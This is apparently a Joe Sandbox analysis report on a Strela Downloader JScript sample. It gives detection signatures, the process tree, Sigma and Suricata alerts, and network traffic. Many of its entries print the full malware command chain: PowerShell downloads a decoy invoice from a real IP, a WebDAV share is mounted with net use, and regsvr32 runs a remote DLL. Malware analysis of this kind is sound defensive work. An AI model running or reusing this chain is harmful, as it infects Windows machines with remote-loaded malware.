Edit tour

Windows Analysis Report
1136121895118314851.js

Overview

General Information

Sample name:	1136121895118314851.js
Analysis ID:	1587563
MD5:	e4d0cc8532e6ea7d6acbd43f7f22093d
SHA1:	bd260d26acfa72fa2dc7dd2e5fdca1a7615c84e6
SHA256:	a004966f5b80ed1e1b18aa636cfa9c242b7ddedca6a09ad7b30973689952b692
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7480 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7532 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7584 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1708,i,10986945623531913614,13893903923946202493,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7888 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8052 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7480	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7584, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7584, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ProcessId: 7480, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7888, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7532, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7532, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7532, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7532, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7532, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ProcessId: 7480, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7584, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7888, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8052, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7888, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll, ProcessId: 7532, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:58:05.881691+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:58:03.221324+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1136121895118314851.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1136121895118314851.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:58:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

